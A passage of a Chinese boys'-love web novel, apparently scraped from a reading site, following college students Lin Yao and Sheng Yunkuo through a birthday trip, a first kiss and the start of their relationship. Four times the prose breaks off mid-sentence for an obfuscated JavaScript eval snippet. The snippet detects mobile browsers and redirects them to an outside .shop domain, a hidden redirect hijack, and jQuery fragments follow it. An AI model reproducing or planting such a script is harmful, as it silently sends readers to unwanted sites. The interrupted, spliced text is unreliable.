睡意渐浓,偏偏此时手机铃声催命般响了起来。 林杳捞起手机接通:“喂?” 盛云阔的声音在传声筒内显得有些沉闷:“你怎么还没回家?” “哦。”林杳答,“沈安格过生日,我和他到市郊别墅来玩了,这周末都不回家。” 对面陷入长久的沉默。 林杳问:“还有事吗,没事我挂了。” 电话被挂断,盛云阔放下手机,将其捏在掌心,孑然坐在客厅沙发中央。房间内没有开灯,黑黢黢不见五指。 呆坐不知多久后,盛云阔打开朋友圈,找到沈安格几天前那条动态,久久盯着那暧昧不清的文案,心不断往下沉去。 沈安格发合影的那天晚上,盛云阔光顾着看图了,直到第二天才看见沈安格的文案写的居然是:【和他。】 搭配合照,看起来就像是在宣布恋情一样。 难道林杳真和沈安格在一起了? 就因为觉得喜欢自己没有结果,所以立刻就移情别恋找了别人? 盛云阔无意识地抖着腿,脑袋里一团乱麻。 他一边觉得林杳放弃喜欢自己挺好的,能免于日后关系尴尬。但转念想想又觉得哪哪儿都不得劲。 凭什么林杳说不喜欢就不喜欢了,他试都没试一下! 又为什么他会选沈安格那家伙,他真喜欢那人吗? 盛云阔揉乱了自己的头发,感觉自己这辈子都没如此纠结过一件事。 撑着额头,静坐几分钟后,盛云阔清空了自己脑袋里所有的想法,拿出手机,找到一个联系人,拨通电话过去。 他知道自己这样做不太恰当,但他受不了坐在家里什么也做不了的无力感了,无论怎样,他必须要采取一点行动。 --- 早晨六点半,林杳准时醒来,洗漱完毕后下楼去觅食。 别墅内其他人不出意料都没醒,空空荡荡。 林杳来到厨房,打开冰箱,万幸找到不少食材,也不知是谁准备的。 林杳绑上围裙开始做饭,在场的有八人,无所谓他们吃不吃,总之每人都准备一份绝不会有错。 半个小时后,林杳煮了一盆速冻水饺,又煎了好几个鸡蛋饼,各式各样的早点都做了些,待会儿随便其他人选择。 一名女生打着哈欠从楼上下来,嘴里嘀咕着:“在煮什么,好香啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437366|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她走到厨房,看见林杳的身影,吃了一惊:“早上好啊。你起得好早,早餐有我的份吗?” 林杳掌着勺,回答:“大家都有。我睡得早,起得就早。” 林杳一边说,一边动作利落地捉着锅把,颠锅,给煎饼翻身。 “哇。”女生捧着脸坐在岛台后,“好贤惠,老沈和你在一起也太幸福了吧。” 林杳奇怪地看了女生一眼,解释:“我和他只是朋友。” 女生惊讶地捂住嘴,感叹:“真的假的?沈安格居然还没有追到你吗?” 看来沈安格喜欢自己这事情他没在朋友面前隐瞒过,搞得大家产生了误会。 林杳蹙眉,又耐心解释了一遍:“只是朋友,不存在谁追谁。” “是吗?那为什么他自己宁愿和其他两人紧巴巴地挤在一起,也要给你单独腾出一间房间?”女生脸上挂着八卦的笑意,“我们全部八个人,四个房间,两个人一间房刚刚好,可是沈安格昨晚说不想吵醒你,就去另外两个男生房间里打地铺了呢。” 林杳停下手中本在搅动白粥的勺子,顿了顿,说:“我不知道。” 他昨晚太困了,并未考虑太多,而且睡得早,根本不知道沈安格暗中做了这些。 林杳顿时颇有些尴尬,虽说沈安格是好意,可如此一来,自己在沈安格的朋友面前就变成了个无理取闹的家伙。沈安格都那么卑微体贴了,他却不买账,活脱脱玩弄他人真心的渣男。 林杳有种说不出来的不舒服。 灶台上的粥咕噜咕噜沸腾着,厨房一时安静下来,直到门外传来某个男生热情招呼的声音。 “老盛,你可到了!” 林杳和那名女生听见动静,同时抬头往外看去。不一会儿,便听见开门声,两个男生说笑着走了进来。 女生好奇,走出去看。林杳也关掉灶台上的火,擦手走了出去。 在看见背着包的那个家伙时,林杳不禁愣在原地。 只见盛云阔和一名男生哥俩好地勾肩搭背,而后抬眼,看向从厨房走出来的林杳。 盛云阔意味深长地勾起嘴角:“早啊,林杳。” 林杳很快就想到之前盛云阔说和沈安格相熟的话,原来是真的。这家伙到底有什么天赋,怎么跟谁都能混熟? 想明白其中关窍,林杳不再惊讶,恢复扑克脸:“早。” 见状,盛云阔暗中咬牙。 好,装淡定,装不在意是吧? 身旁的女生把那名迎接盛云阔的男生拉到一边,小声询问:“他是谁啊?你忽然叫他过来合适吗?” 男生不以为意:“他也是我们学校的,我跟他上同一门体育课。没事啦,人多才好玩儿嘛,老沈那么爱交朋友的人,肯定不会介意的啦。” 说曹操,曹操到。 沈安格穿戴整齐、甚至用定型发胶做了个头型,微笑着从楼上下来:“你们怎么起得这么早,我在楼上都听见你们说话了。” 女生小声吐槽:“卧槽,孔雀开屏啊。” 话刚说完,沈安格便看见了那位不该出现在此处的盛云阔同学。 他的微笑直接绷不住了,指着盛云阔,质问:“什么情况,他怎么在这儿?” 盛云阔抬手,朝他打招呼:“当然是来给你庆祝生日的啊,惊不惊喜,意不意外?” 15. 试试接吻? 沈安格被盛云阔的臭不要脸震惊好半晌,接着反应过来,抄手询问:“哦,那礼物呢?” 在沈安格的认知中,盛云阔今日纯属黄鼠狼给鸡拜年,不可能带了礼物。 谁知盛云阔有备而来,从书包里掏出一个礼物盒:“拿去,生日快乐。” 沈安格暗中一咬牙,抢过礼物。 “哦对了。”盛云阔叮嘱,“我想给你个惊喜,所以你最好今晚睡前再拆。” 闻言,沈安格停下准备去拆礼物的手,暗骂:劳资又不稀罕。 把礼物放下,沈安格叉腰,故作姿态道:“谢谢你过来,不过别墅房间不够,要不你……” “和我住一间吧。” 林杳忽然开口,打了所有人一个猝不及防。 从刚才得知自己受了沈安格的暗中关照后,林杳就在考虑该如何处理后续。 大家都是同学,所有人都两人一间房,只有他一个人独享房间,着实不妥。可因为沈安格曾和自己告过白,林杳不太想与他共处一室。但是其他男生对林杳来说又实在陌生,住在一起难免别扭。 盛云阔的突然造访对林杳来说未尝不算一件好事。毕竟和盛云阔住一个房间,总比其他人好点儿。 因此林杳迫不及待开口,生怕迟则生变。 沈安格想要阻止:“其实……” 盛云阔已经从善如流:“好嘞,我上去放行李,你房间在哪?” 林杳:“跟我走。” 无人在意的寿星沈安格伸手:“等等……” --- 吃过午饭之后,众人在别墅庭院内的游泳池边开泳装派对。 如今天气不比盛夏时节,湿了身子会有些凉。林杳不想折腾自己只剩个血皮的生命值,穿了身严严实实的衣裤,坐在旁边喝草莓奶昔,没有要下水的打算。 沈安格来回游了几圈,发现林杳躲在旁边没下水。他游到泳池边,喊:“林杳,怎么不下来玩?” 林杳摆摆手:“算了。” 沈安格妄自揣测:“你难道是不会游泳?” “不。”林杳解释,“我只是不想把自己打湿。” 沈安格笃定林杳就是不会游泳,是为了面子才撒谎。他双手一撑,从水里出来,走到林杳身边来。 “走吧,我教你。”沈安格伸手。 林杳仍然摇头:“不了。” 沈安格提高音量:“来嘛,好不容易出来玩儿。” 旁边其他两个男生听见动静,看了过来。 他俩提前被沈安格打过招呼,知道这小少爷想追林杳,说好了要尽量帮他制造机会。两人默契地认为此时时机正好,彼此对视一眼,也走了过来。 “来嘛林杳,一起游两圈。” 两个男生一边起哄,一边推着林杳往泳池旁边走。 林杳不停推拒,可是毕竟连诸葛亮都敌不过三个臭皮匠,林杳也只能束手无策的被他们拥到了泳池边缘。 “不了,天气有点冷,我担心感冒。”无可奈何下,林杳不得不说了实话。 然而身边三个血气方刚的少年脑子里根本没有“感冒”的概念,闹哄哄说:“感冒怕什么,喝点热水就好了,来来来。” 推搡之间,不知是谁下手失了轻重,一把将林杳推下了水。 林杳毫无防备落水,顿时呛了几口水进肚。 骤然的失重,冰凉的池水,再加上呛水导致的口鼻刺痛,让林杳这个原本会游泳的人也变得惊慌失措,手脚不受控制的在水中扑腾。 最糟糕的是,左脚传来一阵阵剧痛,应该是抽筋了。 沈安格立即将他抱住,安抚道:“没事,我抓住你了。不要慌,抱紧我!” 岸上两个男生见状,得逞般笑起来。 林杳本能想推开沈安格,但随即理智占据上风,他渐渐停了挣扎,攀住了沈安格的肩膀。 他浑身湿透,头发一绺一绺,往下滴着水。 林杳不悦道,语气冰冷:“放我上岸,我要回房间。” 沈安格察觉到林杳压抑的怒意,他第一次见林杳生气,不禁愣住。 与此同时,原本在房间内的盛云阔已经听见声响走了出来。 他一眼看见落在水中狼狈不堪的林杳,狠狠蹙眉。 林杳看见他,也不再向沈安格求助,而是直接朝岸边伸长了手臂,呼唤:“盛云阔。” 盛云阔快步走过来,无需多言,稳稳抓住林杳的手臂,把他拉到岸边,随后直接将人从水中抱出来,打横抱起,往室内走去。 两人很快离去,只留下一路淋淋漓漓的水渍。 沈安格望着他们的背影,心道完蛋了,林杳怕是生自己的气了。 盛云阔抱着林杳上楼梯。 短短一段路之间,林杳已经恢复镇静,甚至有闲心发问:“一定要用这个姿势吗?” “嗯?”盛云阔恍然,意识到他俩现在的姿势正是传说中的“公主抱”。林杳是公主。 “这有什么,你都这鸟样了还有功夫想这些有的没的。”盛云阔偷笑。 林杳竟有些不服气:“你为什么能抱得起我?” 盛云阔理直气壮:“你又不重。” 林杳闭了嘴,心里生闷气。 若是角色互换,他自认是万万抱不起盛云阔的,都怪盛云阔傻大个长得太胖。 回到房间,盛云阔想了想,没把浑身湿漉漉的林杳放在床上,而是安放在了沙发上。 林杳“嘶”一声,脚下缩了缩:“我脚抽筋了。” 盛云阔搬来一个软凳,抬起林杳抽筋的那条腿放上去。完事他又另外给自己搬了个凳子,坐在林杳对面。 “很疼吗?”盛云阔拿出手机,“我查查脚抽筋怎么办。” 林杳靠在沙发上,没说话。在脱离了盛云阔的怀抱之后,比起脚疼,他更感觉到冷得不行。 “查到了。”盛云阔抬头,却看见林杳嘴唇发白,整个人都在发抖。 “卧槽你这么冷吗?” 盛云阔忙跳起来去浴室拿毛巾,回来把林杳湿掉的衣裳裤子脱下来,用干毛巾裹起来擦。 盛云阔把林杳当落水猫似的一顿乱擦,擦着擦着,一双手忽然环住了他的腰。 难以拒绝的力量揽住盛云阔往沙发栽倒过去,千钧一发之时,盛云阔用手肘撑住了沙发,好歹没有整个人压到林杳。 而林杳已经把盛云阔当人形自热抱枕,抱了个囫囵,甚至餍足地用脸颊蹭了蹭盛云阔的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437367|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝。 林杳身上光溜溜,只有一条内裤。盛云阔也穿的是短袖,导致他能清楚地触碰到林杳的皮肤,甚至感知到其上细微的毛孔与小小绒毛。 盛云阔整个人雷劈似的僵住:“喂……” 林杳什么也没想,他太冷了,怪只怪盛云阔靠近时散发的热度太诱人。 稍微暖和一点后,林杳也觉出两人姿势的不大对劲,可此时放手更不对,显得……显得他心虚似的。 君子坦荡荡,林杳说服自己,他俩都是男生,抱一起取取暖很正常,没错。 盛云阔重新找回语言,问:“你、干什么?” 林杳答:“因为你刚才抱着我的时候很暖和,嗯,就是这样。” 盛云阔:“……” 呼吸差点停掉。 林杳没撒手,盛云阔没挣开。两人维持这一上一下的奇怪姿势,在沙发上僵持良久。 不知道过了多久,方才在房间门口留下的水渍已蒸发干透。 盛云阔手麻了,终于忍不住开口,说:“林杳,我大概能猜到你的心情。” 林杳闭着眼睛。 盛云阔继续:“我这几天翻来覆去想过无数遍,感觉或许是因为我俩从小在一起,虽说关系不是那么铁吧,但到底是彼此身边唯一一个认识如此长时间的人,所以你把发小的友情和爱情搞错也不是没有可能。” 林杳没说话。 “别说是你,其实我都有点分不清了,擦。”盛云阔继续嘟囔,“我说实话你别笑话我。我偷偷想过,万一你真和沈安格在一起了,我心里确实有点不得劲。但我真不知道这算不算喜欢。所以我想了个蠢办法……” 盛云阔叽里咕噜说了一大堆,低头瞧,林杳居然闭着眼睛,像睡着了。 盛云阔去捏他的下巴,差点把人捏成了嘟嘟嘴:“你在听吗?” 林杳迷迷糊糊掀起眼皮:“我在听、在听的,你继续说,嗯嗯。” 盛云阔心跳如擂鼓,想到接下来要说的话,忍不住去瞟林杳的嘴唇。 在暖和后,林杳的嘴唇重新染上了粉色,看上去就很柔软,还反射着点点光泽,口感或许会类似橡皮软糖。 盛云阔喉结滑动,他说:“我想……唯一的办法就是试一下,才能知道。” “试什么?”林杳不解。 “接吻。”盛云阔脱口而出。 此话一出,两人瞬间陷入沉默,面面相觑。 林杳思维飘远,他想,难道自己已经睡着了在梦里?但是为什么自己会做这么扯犊子的梦?到底是盛云阔疯了还是自己疯了? 见林杳久久不回话,盛云阔有些羞恼,破罐破摔道:“怎么,你不敢吗?” 熟悉的挑衅句式。 从前两人每次较劲的时候,盛云阔就会说这句话。很多时候林杳本来无意与他争抢,却偏偏听不得这句激将的话。 这次亦然。 林杳在听清盛云阔的挑战后,冷哼一声,撂下一句:“谁怕谁?” 说罢,他双臂环上盛云阔的脖颈,借力往上,仰头吻了过去。 在真真切切接触到林杳嘴唇的那一瞬,盛云阔脑子里只剩下了一句话: 原来不是橡皮软糖,是草莓棉花糖…… 16. 为了完成遗愿 亲吻中,盛云阔改换撑着的手肘变成环绕住林杳的脖颈。两人挤在窄小的沙发之间,紧紧拥着彼此。 他们呼吸灼热,重重拍在彼此的唇鼻之间。 他们都是第一次接吻,生涩不得其法,完全凭借着本能,啃咬啄吻着对方。 不知过了多久,两人终于分开。 林杳胸膛剧烈起伏。他刚才有将近半分钟的时间忘记了换气。 抬眼看去,盛云阔脸颊上酡红一片,呼吸声粗重,显然也不比自己好到哪里去。 林杳在盛云阔的虹膜中看见了自己的面容,他的眼神太专注,林杳一时不好意思起来。 林杳躲闪了眼神,提醒:“那什么,要去洗个澡吗?” 说话间,林杳也不知有意还是无心,膝盖碰到了盛二弟。 盛云阔顿时羞到如火山喷发一般,急匆匆翻身,差点摔在地上。好不容易总算重新站起来,又猛然意识到自己还在冲林杳敬礼,实在太不礼貌,就赶紧背过身去。 林杳蜷起一条腿,别过头去,没看他。 “咳……”盛云阔清了清嗓子,“你先去洗吧,你刚才落水,早点洗个澡、别感冒。” 再这么面面相觑下去也不是办法,林杳抓起方才用来擦身的浴巾,往腰间一裹,向浴室走去。 林杳闭眼仰头,任由花洒往自己脸上喷水。 热水浇在脸上,没能帮助林杳冷静,反而将他的脑袋蒸成了一片空白。 思来想去,只能怪盛云阔那句激将的话,让林杳条件反射一般,没有多想就亲了上去,生怕落了下风似的。 林杳不明白,他们俩的关系算什么,为什么会做这种事。 难道盛云阔太寂寞了? 还是说这家伙脑子被驴踢了? 洗澡十多分钟时间,林杳啥也没想明白。 他擦着头发出来,盛云阔看了他一眼,紧接着被烫到般移开眼神,慌忙抓起换洗衣服冲向浴室。 等盛云阔进了浴室,房间门从外边被敲响。 林杳把毛巾搭在肩膀上,过去打开门,门外果然站着沈安格。 沈安格面带歉意,在看见林杳的瞬间,勉强勾起个笑容。 “对不起,刚才在泳池边是我们太过分了,你别生气。” 说不生气那自然不可能,任谁被推进水中,生命受到威胁,都会生气,何况林杳本身生命值就没剩几点,哪儿禁得起霍霍。 但伸手不打笑脸人,林杳沉声:“没。” 这个“没”生硬冷漠,像一块儿被林杳随手扔到地上的石头。 沈安格继续补救:“你生气也是应该的,我替他俩向你道歉,我们其实没有恶意,也不想和你闹得不高兴。我们想补偿你,希望你能原谅我们。” 林杳摇头:“不用。” 见他态度冷淡,沈安格有些绝望。 哪怕林杳朝他发火、骂他、打他,都比现在这般貌似平静实则拒人千里之外的样子要好。 如果生气,把气撒了也就好了。现在这样,又该怎么办? 沈安格气恼又无奈。 “你等等。”林杳叫住沈安格,转身进房间。 沈安格自是乖巧等待。 没一会儿,林杳拿着一个某知名品牌的购物袋走了出来。 他把袋子往沈安格跟前递过去。 “给你的,生日礼物。”林杳解释,“我事先不知道你的生日,没准备,这是昨晚我下单的,今天上午刚送到,别嫌弃。” 沈安格眼神发亮,接过袋子:“谢谢,那……” 没等他说完,林杳继续道:“感谢你邀请我来参加你的生日派对,但是这段时间相处下来,我认为我们二人的性格不太合适,你喜欢热闹,我却不善交际。继续往来的话,难免会再出现和今日类似的事。以免又搞得彼此不愉快,咱们还是算了吧,别强求彼此做朋友了。” 沈安格没想到等来等去,等到了林杳这番话,惊恐地瞪大眼,想要辩解:“可、可是……” 但可是了半天,沈安格又不知该说什么才能挽回。 林杳耐心静候了他半分钟,见他实在说不出像样的话,又道:“我们以后还是同学。” 说完这些,盛云阔的声音恰好从浴室里传来。 “林杳,你帮我从包里拿条内裤递进来。” 林杳朝浴室应了一声,转向沈安格,对他道:“那就先这样?” 沈安格魂不守舍:“嗯。” 林杳关上房间门。 --- 那个荒唐的吻之后,林杳与盛云阔之间一下午都萦绕着淡淡的别扭。 别墅一行人一起去准备了烧烤食材,晚上在院子里手工炭烤。人多,笑闹之间勉强掩盖了下午发生的种种插曲。 露天烧烤聚餐结束,林杳与盛云阔一同回到房间里。 盛云阔在洗手间里刷牙,但心思早已飞到九霄云外。 怎么办,房间里只有一张床,待会儿自己是要和林杳睡一起还是自己单独去睡沙发? 按理来说,他俩也不是没有一起睡过,同床共枕啥的完全没问题,可在今天下午那件事之后…… 他们两人之间已经不纯洁了。 吐掉牙膏泡沫,盛云阔漱了口,捧起清水浇在自己脸上。 冷静下来后,盛云阔走出浴室,打算展现风度,主动提出睡沙发。 然而他一只脚才迈出去,就见林杳合上了手中的书,朝自己看过来。 林杳靠在床上,被子盖在小腹处,他只占据了双人床靠左的位置,身旁留下了宽敞的空位,是给谁留的,不言而喻。 盛云阔感觉嗓子痒痒,以拳抵唇:“咳。” 林杳不解,出言催促:“站着做什么?过来睡。” 既然如此,那也不必委屈自己睡沙发了。盛云阔从善如流,睡上了右半边床铺。 林杳探出身子关掉房间的灯,整个触目可及的空间霎时陷入黑暗。 这张床铺林杳已经先睡过一夜,被褥之间沾染了他身上的气息,很淡,但盛云阔闻得出来。 盛云阔偷偷转头。 他的眼睛适应了黑暗,能清楚地看见林杳的后脑勺,以及下方一截子从衣领中延伸出来的脖颈。 小猫爪子在盛云阔的心上抓抓挠挠,他小心翼翼翻了个身,面向林杳那边。 盛云阔做贼似的抬起手,轻轻搭上了林杳因为侧躺而陷下去的腰部。 林杳仍旧躺着,没有反应,像是默许。 盛云阔壮着胆子,凑近他一点点,在两人只隔了半个拳头的地方停了下来。 甜夜静谧,唯有浪漫的虫在灌木中唱着夜曲。 --- 生日派对结束,一切都回到了平静无波的校园日常。 学校游泳馆内,林杳刚游完五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437368|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十米,触碰到池壁,灵巧翻身,脚下蹬出,借力又开始了下一个五十米。 上回掉泳池里的事情发生后,林杳意识到自己有很久没有练习游泳了,便立即将游泳安排进了自己的日常行程中,隔一天就来游泳馆游上几十分钟。 不仅如此,林杳游泳时,也闭着眼在思考自己与盛云阔的事。 凉爽柔软的水托着林杳的身体,让他感到头脑清晰。 想了几天,林杳得出结论:盛云阔喜欢自己。 除此之外,不会再有别的原因能够解释对方在别墅时的异常表现。 两人相识十八年,盛云阔会喜欢自己也不稀奇。 只不过林杳没想到盛云阔居然是弯的。 前段时间盛云阔不是才发表过歧视性言论吗,为何…… 哦,恐同即深柜,是这样说的吗? 想清楚这一点后,林杳又淡定了。 既然盛云阔是因为喜欢自己,不是因为脑子被驴踢了,那他想要和自己接吻也实属正常,不需要焦虑。 林杳打算接受这份感情。 倒不是因为他喜欢盛云阔。 而是因为他俩都快死了,这多少算是盛云阔的遗愿。相识一场,替盛云阔完成遗愿,自己也不会少块肉,就当做好人好事,说不定还能得点功德,有助于升入天堂。 这段关系只维持到他们两人死前,不会太久了。 林杳又游完五十米,没再继续。他攀着池壁,猛地摘掉泳镜。 喵的,这种想法太奇怪了,好像他俩要生死相许似的。 林杳不敢再想,往梯子那边游去,爬上了岸。 回到更衣室,林杳拿出帕子,一滴水珠分毫不差地落在了他的脚尖。 他低头,盯着脚尖,再度出神。 接受盛云阔的感情,其实还有一个原因。 林杳不太愿意承认,但的确是事实。 那便是他自己的遗愿清单里也写着谈一场恋爱。 虽说他对盛云阔并无爱情,但和对方在一起也能帮自己体验恋爱里的许多事情,减少离去时的遗憾。 换作别人,林杳不太想耽误对方。因为自己活不久。且他不觉得自己能接受和一个陌生人或者沈安格亲嘴。 是盛云阔的话,事情就简单许多了。 首先,事实证明他能接受和盛云阔亲嘴。其次,他会把自己实际上并不喜欢盛云阔这件事带进坟墓里。 他会在彼此所剩无几的时间里对盛云阔尽到一个恋人应有的义务,善意的谎言,大概不算是骗感情。 想明白一切后,林杳也已换好了衣服,离开游泳馆。 回到家,林杳拿钥匙开门。 谁知换完鞋,抬眼就看见盛云阔站在自己面前。 两人相对而站。 林杳再次注意到了盛云阔看向自己的眼神。格外直接、专注,仿佛要把自己的一举一动都刻印在心似的。 “你回来了,晚上想吃什么?”盛云阔问。 半干的发丝凝聚了一滴水珠,忽然滴落,漾起层层圈圈的涟漪。 林杳迈了一步上前,抱住盛云阔的脖颈,踮脚,仰起头,不由分说地吻了上去。 突如其来的吻超出了盛云阔意料,他双手僵直,愣了好半天。 直到林杳坏心咬了一下他的下唇,盛云阔才反应过来,死死箍住林杳的腰,把人按在怀里抱紧。 17. 鼻血 “叮叮叮——” 闹钟才刚响了三个音节,林杳便已条件反射般从被褥里伸长手臂,盲按下关闭闹钟的按钮。 忽然肩膀处传来毛毛的触感,林杳哆嗦一下,又被身后的人抱得更紧。 在身后,盛云阔抱着林杳的腰,迷迷糊糊被吵醒后,他把脸更深地埋进了林杳的肩窝处。 两人昨晚亲嘴,亲着亲着,不知道是谁先往卧室挪去,总之最后他们手脚交缠地倒在了床上,黏糊了很久。 林杳睁着眼,目光空无所依地落在前方。早晨,他的脑子很清楚,能够真切而理性地感知到身后盛云阔的存在。 肢体接触会促使人类大脑产生多种愉悦的激素,所以林杳心安理得地接受了盛云阔的触碰,同时也坦然地承认了自己喜欢这种感觉。 被拥抱,彼此的热度与气息交换,最终达到一个协调统一的程度。就像是两个人一同筑起一方巢穴,其中只有熟悉的味道与亲近的人,没有任何外来者可以侵扰,令林杳感到安心。 但是美好温存的时光终究会结束。 林杳拍了拍盛云阔揽在自己小腹处的手,残酷提醒:“今天有早八。” 盛云阔手指轻轻颤了一下,随后再无动静。 林杳毫不留情地戳破:“别装睡,放我走。你旷课我不管,我要去上课。” 沉默两秒,盛云阔忽然俯在林杳的脖颈处,猛吸一大口,不甘心地撒开手:“好了,我醒了。” 林杳坐在床上,静静瞧着盛云阔翻身起床换衣服。 忽然,林杳不知想到什么,鬼使神差的:“嘬嘬嘬。” 盛云阔本来在扣裤腰带,听闻声响,停下手中动作,转过来,不解地看向林杳。 林杳扶额:“没事。” 起床收拾齐整,已经七点半,两人来不及在家做早饭,只能选择去便利店买个三明治果腹。 两人这节课在同一栋教学楼的不同教室,他们在楼道口分开,各自去往教室。 林杳找到阶梯教室第一排坐下,拿出书,开始复习上一节课的内容。 “同学你好,这里有人坐吗?” 没过多久,有人指着林杳身旁的位置问他。 林杳看过去,对方是个男生,个儿不高,瘦瘦的,脸很小,显得鼻梁上的眼镜框格外的大。 林杳摇头:“没有。” 闻言,那人面露喜色,说着“谢谢”,在位置上坐下。 第一排着实不算抢手的位置,林杳瞥了眼四周,发现自己这一排基本都空着,按常理来说对方大可以找另外的空位,不需要坐在自己身边。 不过这些想法也只是在脑海中闪过片刻,很快,上课铃声响起,林杳不再走神。 林杳正在做笔记,身边那个眼镜男生用笔戳戳他。 林杳抬眼:“?” 眼镜男生颇为不好意思,举着笔说:“我笔没有墨水了,你有多余的可以借给我吗?” 林杳从笔盒里拿出一支,递给男生。 “多谢!” --- 盛云阔老远看见张桦,对方朝他挥挥手,他走过去。 张桦替他占了座,是靠后排角落的绝佳宝座,摸鱼补眠必备。 盛云阔坐下后,张桦两颊红润,两眼发亮,小声道:“我跟你说个秘密。” “嗯?”盛云阔心不在焉。 张桦没注意到,兀自激动地往下讲:“我有喜欢的人了。她是艺术学院的学姐,学小提琴的。她长得特别好看,人也很温柔……” “我俩就是之前和艺术学院联谊会上认识的。”张桦满面桃花,滔滔不绝,“后面她还主动请我喝过一次咖啡,我觉得她应该不排斥我。我打算过几天,等我买的礼物送到了,我就约她出来,和她告白。” “啊啊!好紧张,万一告白失败怎么办,她会不会从此讨厌我了?” 张桦抓着盛云阔的肩膀摇晃他。 然而盛云阔没有回话,仍是盯着手机看。 张桦拍他:“喂,你有没有听我说话?在干什么呢?” 说着,张桦凑过去,发现盛云阔居然在翻看手机相册,更奇怪的是他的相册里全是林杳的照片。 盛云阔“咔”一声把手机倒扣在桌面上,心虚反问:“你干嘛啊?” “我还要问你在干嘛呢?”张桦狐疑地打量他,“我瞧你最近很不正常啊,总是盯着手机傻乐,上课也发呆,像是捡了钱似的。” 说到此处,张桦忽然意识到:“等等,你该不会是真的中彩票了吧?中了多少?” 盛云阔抖开他扒拉自己的手,说:“哪儿能啊。” 张桦还想逼问,偏偏上课铃响起,盛云阔义正词严地表示:“听课吧,别说话了。” 一个半小时后,准时下课。 张桦背起包,邀请盛云阔:“走,吃饭去。” 盛云阔摆摆手:“不了,我今天有点事,你去吃吧。” 张桦跟在他身边,嘀咕:“有事有事,天天都有事……” 忽然,张桦看见了站在教室门口的林杳。盛云阔两步冲过去,站在了林杳身边,又露出这两日常见的傻笑。 张桦清清楚楚地听见盛云阔对林杳说:“去哪儿吃饭?” 林杳回答:“随便。” 两人说着话,并肩往楼道口走去。无情地抛弃了张桦。 不是?跟我吃饭就有事,和林杳吃饭就有空了,什么道理?张桦想不通。 恰在此时,张桦身后传来一道呼唤:“张桦!” 他回头去看,竟然看见了自己的女神。女神今日依旧美丽耀眼,每次见到她,张桦都会感慨仙女下凡辛苦了。 “学姐!” 张桦朝女神招手,并不知道自己也露出了诡异的傻笑。 --- “你要吃什么口味的爆米花?黄油还是原味?” 盛云阔站在电影院售货柜台前,侧头询问林杳的意见。 今天周五,上完最后一节课就算进入了周末假期,两人约好出来看场电影。 林杳思考片刻,给出答案:“原味。” 盛云阔喃喃:“我倒是想吃黄油味。” 下一秒,他扬声对售货员说:“你好,给我们装一桶原味吧。” 买完爆米花,距离电影开场还有二十分钟,两人来到一旁沙发坐下等待。 盛云阔抱着爆米花,林杳直接从他怀里掏着吃。 盛云阔向后仰头,悄悄观察起身旁同在候场的顾客们。 在场的人几乎都是情侣。年轻爱侣们紧紧依偎,在彼此耳边说悄悄话,激起阵阵笑声。与心爱的人在一起,即便是等待开场的时间也丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437369|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不无聊。 现在他和林杳……也算是在约会吗? 盛云阔忍不住想到。 “林杳。”盛云阔清了清嗓子,“你、怎么突然想到要来看电影的?这片子评价很好吗?” 林杳眨眨眼。 完全不是,片子是他随便选的,只是因为这部片子在买票APP里排第一。 约盛云阔出来看电影,纯属出于林杳认为这就是恋人之间该做的事。 吃吃饭、逛逛商场,最后看看电影。 既然决定接受盛云阔的心意,那林杳就会尽自己的能力做到满分。就像他此前十几年人生做的每一件事那样,即便是恋爱,他也要做满分恋人。 何况林杳总觉得有些对不起盛云阔,毕竟自己并不是出于喜欢才和他在一起的,所以更想要有所补偿。 “嗯。”林杳应承着算是回答了,接着又问:“你还有其他想做的事吗?” 盛云阔怔愣,接着拿出手机一看,迟疑道:“电影散场之后估计都快零点了吧,咱们不回家吗?” 林杳摇摇头,解释:“不是今天,我的意思是以后。” 盛云阔回过味来,嘴角扬起笑意,问:“你陪我一起做?” “对。”林杳说,“你想做什么,我都陪你一起。” 林杳就是这样的,不常有过分激动的情绪,说出口的所有话似乎都那么轻飘飘,但盛云阔明白,他说出的每一个字,都代表着承诺,说到就一定会做到。 